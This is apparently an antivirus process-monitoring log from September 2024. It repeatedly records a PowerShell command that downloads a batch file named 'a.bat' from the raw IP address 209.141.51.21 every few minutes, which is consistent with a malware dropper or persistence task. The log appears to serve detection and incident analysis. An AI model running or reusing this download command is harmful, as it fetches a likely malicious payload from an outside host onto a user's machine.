C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:18:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:20:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:20:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:22:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:23:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:25:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:25:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:27:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:28:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:30:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:30:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:32:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:33:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:35:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:35:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:37:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:38:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:40:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:40:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:43:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:43:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:45:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:45:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:48:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:48:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:50:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:50:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:53:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:53:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:55:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:55:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:58:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 20:58:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:00:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:00:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:03:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:03:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:05:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:06:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:08:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:08:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:10:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:11:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:13:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:13:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:15:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:16:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:18:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:18:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:20:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:21:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:23:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:23:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:25:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:26:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:28:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:28:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:30:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:31:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:33:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:33:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:35:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:36:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:38:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:38:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:40:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:41:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:43:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:43:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:46:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:46:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:48:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:48:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:51:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:51:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:53:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:53:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:56:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:56:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:58:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 21:58:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:01:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:01:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:03:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:04:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:23:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:24:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:27:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:29:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:32:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:34:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:37:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:39:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:42:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:44:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:47:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:49:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:52:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:54:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:57:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 22:58:50 AVAVER: 21.2.2455 AR2: 240830 defs: 24091102 2024-09-11 22:58:50 ARPOT2: Start 1264 2024-09-11 22:58:50 AR2CFG: 240830 2024-09-11 22:58:50 AR2DEV: Start 1 Driver: 210305 2024-09-11 22:59:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 23:02:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 23:04:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 23:36:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 00:03:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 00:38:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 00:40:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 00:43:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 00:45:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 00:48:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 00:50:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 00:53:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 00:55:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 00:58:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:00:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:03:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:05:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:08:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:10:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:13:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:15:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:18:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:20:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:23:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:25:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:28:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:30:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:33:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:35:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:38:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:40:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:43:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:45:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 01:48:17 NOTIFY: 